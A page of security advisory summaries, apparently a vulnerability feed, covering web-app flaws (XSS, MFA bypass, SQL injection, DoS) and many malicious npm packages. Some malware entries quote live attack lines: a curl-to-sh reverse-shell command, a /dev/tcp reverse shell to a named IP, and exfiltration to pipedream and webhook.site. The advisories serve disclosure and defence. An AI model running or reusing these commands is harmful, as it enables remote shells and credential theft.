AI-powered fuzzing with the GitHub Security Lab Taskflow Agent

If you 're new to fuzzing and want to learn the fundamentals first, check out our Fuzzing 101 course at gh.io/fuzzing101. Continuous fuzzing is not a magic solution that solves all your problems . Even projects that have been enrolled in OSS-Fuzz for years can still hide critical bugs, and the...

Snipe-IT: Stored XSS via Inline XML Rendering in the Uploaded Files API

Snipe-IT's uploaded-files API accepts XML documents and later serves them inline without applying the safe-inline allowlist used by the equivalent web controller. An authenticated user who can attach files to a supported object can upload an XSLT stylesheet and an XML document that references it...

ZITADEL: MFA bypass via session reuse in Login V2

Summary A vulnerability in ZITADEL’s Login V2 UI allowed a password-verified browser session to be reused for a new authentication request without re-checking a user’s enrolled second factor TOTP, OTP, or U2F. An attacker who already knows valid credentials can fully authenticate to an applicatio...

ZITADEL: Actions V1 sandbox escape: host file read via require()

Summary A vulnerability in ZITADEL Actions V1 allows an organization Action author to read files from the ZITADEL host filesystem through the JavaScript require module loader. On common self-hosted deployments this can be chained to steal bootstrap credentials including the Login Client PAT and...

Snipe-IT: Stored XSS via Custom Field name in asset-list column headers

Impact A user with the "customfields.create" permission can store HTML/JS in a Custom Field name, which is later rendered as an asset-list column title WITHOUT escaping at app/Presenters/AssetPresenter.php line 364 'title' = $field-name and injected into the table header by the bundled...

Dozzle label filters do not restrict container event and statistics streams

Summary Dozzle supports per-user label filters in users.yml that are documented as an access-control boundary: "Filters are used to restrict the containers that a user can see" and "the guest user can only see containers with the label com.example.app … useful for restricting access to specific...

Snipe-IT: 2FA bypass via the API token flow

Impact An attacker who knows a victim's password fully bypasses that account's 2FA and obtains a persistent token with full API access as the user read and write across the user's permissions, including admin if the victim is an admin. The token is an API credential, not a web/UI session using it...

podman quadlet install --replace does not fully replace the old file

Impact When running podman quadlet install --replace to replace a Quadlet file, if the original Quadlet is larger than the new Quadlet, the file would not be truncated and content from the original would be preserved. There is no risk of information leakage as the user already had access to the...

Malware in ubiquiti-agents-link-mcp

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outsid...

Withdrawn Advisory: sprintf-js vulnerable to denial of service through unbounded precision specifiers

Withdrawn Advisory This advisory has been withdrawn because it is the responsibility of an application to handle exceptions appropriately. This link is maintained to preserve external references. Original Description sprintf-js through 1.1.3 passes unbounded precision specifiers to toFixed,...

Malicious code in simple-date-formatter-new-15 (npm)

Source: amazon-inspector 005b96d3c3d5f1a071c40a8b72ea22b5e0221db32cfffacfc8f2343f0ee97eb0 The package's package.json postinstall script curls cloud instance-metadata endpoints AWS IMDS at 169.254.169.254/latest/meta-data/sts-credential, Alibaba/Tencent metadata at metadata.tencentyun.com and...

Malicious code in @birbalo/aliftech-ui (npm)

Source: amazon-inspector f6392dad6c7467b1d2b75c329d517982f061f3ca0792b8879b72127813d26aa8 The npm package @birbalo/[email protected] ships a postinstall.js lifecycle script that runs automatically on npm install. The script imports the built-in os and https modules, reads os.hostname and...

Malicious code in simple-date-formatter-new-11 (npm)

Source: amazon-inspector 10e00618100992f74fd0b4c908be0db1c3e13de1b37ae9dc5952b7836f564042 Package presents itself as a date-formatting utility but performs credential theft against the installer through two channels. The postinstall script in package.json curls cloud instance-metadata endpoints...

Malicious code in eslint-config-compact-base (npm)

Source: amazon-inspector dbc01e3a8316b2d4e11b34a9c8cbe1cf5bd2af83a6a70052e40a22b54f13f78b index.js executes on module load and collects host reconnaissance data — os.platform, os.hostname, os.userInfo.username, architecture, Node version, current working directory — together with CI-context...

Malicious code in simple-date-formatter-new-14 (npm)

Source: amazon-inspector cbe2adf4e9d3b54b33c0e80285a5b0eb4d81dfde75c7a5b7a202ac43793268cd The package presents itself as a date-formatting utility index.js is a 160-byte formatDate stub but the published tarball contains an SSH-key exfiltration payload and an install-time DNS beacon. package.json...

Malicious code in @osl-design/react (npm)

Source: amazon-inspector 0a3237fada0f96b2160cb8adea5c7734951ca960f71f3f4bf788fec9446b6d3b The package declares "install": "node index.js" in package.json, so npm install automatically executes its top-level script. That script loads runtime/support/telemetry/probe/impl.js, which reads the...

Malicious code in @nf-addons/am-global-header (npm)

Source: amazon-inspector 5f4f7297a2ae76eee65506183462a7138df6115ee2bfad9c84878b7f3c7998c8 The package's install lifecycle script runs node index.js, which loads runtime/support/telemetry/probe/impl.js. That module reads os.userInfo.username, os.hostname, and process.cwd, concatenates them with a...

Malicious code in aliftech-ui (npm)

Source: amazon-inspector e61479316af4cfc0884dfe88744a0ed14fa64e052471cc216667c80502689860 postinstall.js runs automatically on npm install and reads os.hostname and os.userInfo.username, then issues an https.get to a hardcoded webhook.site collector URL...

Malicious code in simple-date-formatter-new-13 (npm)

Source: amazon-inspector 8f295d4208d67cbb14c8804b287109ad5ed7946e39f0256e601f846e485c6c54 [email protected] presents itself as a date-formatting utility but ships a trivial three-line stub while its package.json postinstall script performs an SSRF probe and out-of-band exfiltrati...

Malicious code in c2-client (npm)

Source: amazon-inspector 8c5e21fe48a0a1a03a1846e11cb06360950603c3bd8ccba5979c431c84779ba0 The package name is 'c2-client' and package.json declares a postinstall hook that executes 'node setup.js' automatically on npm install. The setup script runs unattended in the installer's environment with t...

Malicious code in cache-swipper (npm)

Source: amazon-inspector 50cb98e5f107fe5bd1cd9434505219880014742674def9c64a8ce8552e04a626 cache-swipper advertises itself as a safe cache and build-artifact cleanup utility, but the exported runOperation function performs an unbounded recursive deletion of the caller's current working directory. ...

Malicious code in building-build (npm)

Source: amazon-inspector 4618f06d0398ff90ef90003464e79f23609a160f4d1606f60cf797fb73fa6dcb The package's sole content is index.js, which on load schedules a timer that fetches a hardcoded list of privileged same-origin paths /admin, /dashboard, /flag, /api/flag, /secret, /admin/flag and POSTs each...

Malicious code in analytics-widget (npm)

Source: amazon-inspector 4b78f3ed716380da74c5d54de6e24b6b128536a7ce5772e8b05d03108a1d9b74 The package is published as 'analytics-widget' with an empty description, but its main module contains no analytics functionality. On load, index.js schedules a 2-second timer that reads the 'token' key from...

Malicious code in simple-date-formatter-new-16 (npm)

Source: amazon-inspector 5e57e9eff2fae987a2a23e3107d64c818e020b03380e31d6a3ae9cf8d4eb14ec package.json declares a postinstall lifecycle script that pipes a string-reversed shell one-liner through rev | bash, decoding to a bash reverse shell that opens /dev/tcp/124.221.154.135/4444 and attaches an...

Streamlink: HTTPSession follows HTTP redirects into file:// URLs, reading local files

Summary HTTPSession mounts a FileAdapter for the file:// scheme and inherits redirect handling unchanged from requests.Session. requests does not check for scheme downgrades or cross-protocol transitions when it follows a redirect, so any https request Streamlink makes can be redirected by the...

SunEditor: Critical XSS vulnerability - sanitizer bypass

Summary SUNEDITOR v2.47.10 appears to allow JavaScript execution through crafted namespaced HTML elements. The sanitization logic does not fully remove executable event-handler attributes from certain custom/namespaced tags. As a result, an attacker may be able to inject HTML content that execute...

REDAXO: Unwhitelisted ORDER BY Column in rex_list Allows Authenticated Column Enumeration

Summary The rexlist component reads the SQL sort column directly from the sort GET parameter without validating it against the set of columns declared sortable via setColumnSortable. Although the value is wrapped in backticks via escapeIdentifier preventing classical SQL injection, this still...

Malware in @baanx/solana-lib

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outsid...

Malware in @baanx/domain

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outsid...

Malware in @insiderintelligence/googleadmanager

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outsid...

Malware in @insiderintelligence/componentlibrary

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outsid...

Malware in @baanx/common

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outsid...

Malware in @baanx/abis

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outsid...

Malware in @baanx/blockchain-config

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outsid...

Malicious code in @rixxcodex/baileys (npm)

Source: amazon-inspector 58b5247e2f10d09b51e8d59c4b36cb2cbe62909af4be588fdb07dabf0afabcf2 This package is a fork of the Baileys WhatsApp library that adds three undocumented channels which use the installer's authenticated WhatsApp session to perform account actions chosen by the author at runtim...

Malicious code in pino-testkit (npm)

Source: amazon-inspector f2711bf14b5de8acc2d8a401de585d09de28c4dc674331f6578acbc9ea36c6e7 [email protected] impersonates the widely-used pino logger: package.json declares the name pino-testkit with pino's description, lists Matteo Collina as author and the real pino maintainers as contributors...

elysia has Inefficient Algorithmic Complexity and Interpretation Conflict

Elysia v1.4.28 is vulnerable to denial-of-service attacks due to CPU exhaustion in the form data normalization code. Elysia uses getAll to retrieve value from FormData. It is called directly relative to the total number of key-value pairs in the form data. The total amount of work the for loop ha...

ReactPress has SQL injection via dynamic column names in TypeORM query builders

Summary ReactPress API list endpoints build TypeORM QueryBuilder conditions using unsanitized HTTP query parameter names as SQL column identifiers e.g. article.$key . TypeORM parameterizes values but not column names, allowing unauthenticated attackers to inject SQL through crafted query string...

plone.app.contenttypes has a Denial of Service in File Upload due to excessive filename length

Impact When creating an Image or File with a very large filename, Plone can become unresponsive. Even if the content loads, it can be hard to edit or delete, because the UI is unwieldy. Patches The problem has been patched in plone.app.contenttypes. On Plone 6.2, upgrade to plone.app.contenttypes...

plone.app.dexterity has a Denial of Service due to excessive title or description length

Impact When creating content with a very large title or description field, Plone can become unresponsive. Even if the content loads, it can be hard to edit or delete, because the UI is unwieldy. Patches The problem has been patched in plone.app.dexterity. On Plone 6.2, upgrade to...

Malicious code in a-onesite (npm)

Source: amazon-inspector 1b1ed6ca931448c083b5356eae6ad5af3cce9011d70fce4ce4ad427349991856 [email protected] ships an empty index.js and no library functionality. Its package.json declares preinstall, preupdate, and test scripts that all invoke wget against http://eoy34oyrep9j5x8.m.pipedream.net wi...

Malicious code in internallib_v463 (npm)

Source: amazon-inspector 0b01ff1527598f64a1da93492377bfd066f37519d0c589285136d9a31615d1b7 index.js exports a function command that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.73.186:443|sh", fetching a reverse-shell script from reverse-shell.sh and piping it to sh. When the exported...

Malicious code in internallib_v657 (npm)

Source: amazon-inspector d61ffc921e9432c8176cc16265daf6add48cf90a4f99ec6bbec173e5109673b1 index.js exports a command function that invokes /bin/bash -c to curl a reverse-shell payload from reverse-shell.sh targeted at the hardcoded IP 10.0.73.186:443 and pipes it to sh. Any consumer that requires...

OpenC3 COSMOS: Stored, cross-user XSS via Telemetry screen BUTTON widget

Summary A user who can save a telemetry screen permission systemset can embed JavaScript in a screen BUTTON widget. The BUTTON widget evals the stored button text in the browser when the button is activated, and screens are shared content rendered to other users in the scope. As a result, an...

Klever-Go: Validator registration accepts an unvalidated BLS public key → consensus liveness DoS

Location: core/kapp/validators/validators.go:201 Register, genesis/checking/nodesSetupChecker.go:73. core/consensus/slot/bls/subslotStartSlot.go:165 core/consensus/.../headerSignatureVerify.go:123 Create.... Description Klever uses a BDN Boneh-Drijvers-Neven BLS multi-signature over BLS12-381 to...

Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -> explorer/indexer data forgery

Component: Elasticsearch indexer indexer/ Primary location: indexer/common.go:2395-2407 serializedDataForUpdateAccounts Entry point: SetAccountName native transaction contract type 12 — core/process/transaction/txProcess.go:688 --- Description When the node indexes account updates to Elasticsearc...

Klever-Go: Zombie-order theft: `Buy` missing `IsClaimed` guard in native marketplace

Location: core/kapp/market/market.go — Buy approx. L281–436\ Severity: High The native marketplace enforces an IsClaimed guard in Claim market.go:752, CancelOrder market.go:1125, and orderEscrowAmount market.go:251, but not in Buy. Marketplace escrow is virtual: the market KApp account never...

Formie: Missing authorization on sent notification resend modal exposes submission PII

Impact The control panel action formie/sent-notifications/get-resend-modal-content SentNotificationsController::actionGetResendModalContent performed only requireAcceptsJson and loaded a SentNotification by request id without permission or object-level authorization checks. Any authenticated user...

Jawn: Quadratic parsing effort in AsyncParser

AsyncParser can be forced to perform On^2 work on the length of the input. When a single JSON token arrives across many small chunks, each absorb call rescans the incomplete token from the start. Impact Denial of service via CPU exhaustion when parsing untrusted JSON. Preconditions: - Application...

Jawn: Uncontrolled nesting depth in JSON parser

The Jawn parser before 1.6.1 is vulnerable to a denial of service attack via untrusted input. Impact A remote attacker who can submit JSON to any jawn-backed parse method can exhaust JVM heap and trigger java.lang.OutOfMemoryError. This is treated by Scala as a fatal error and not typically handl...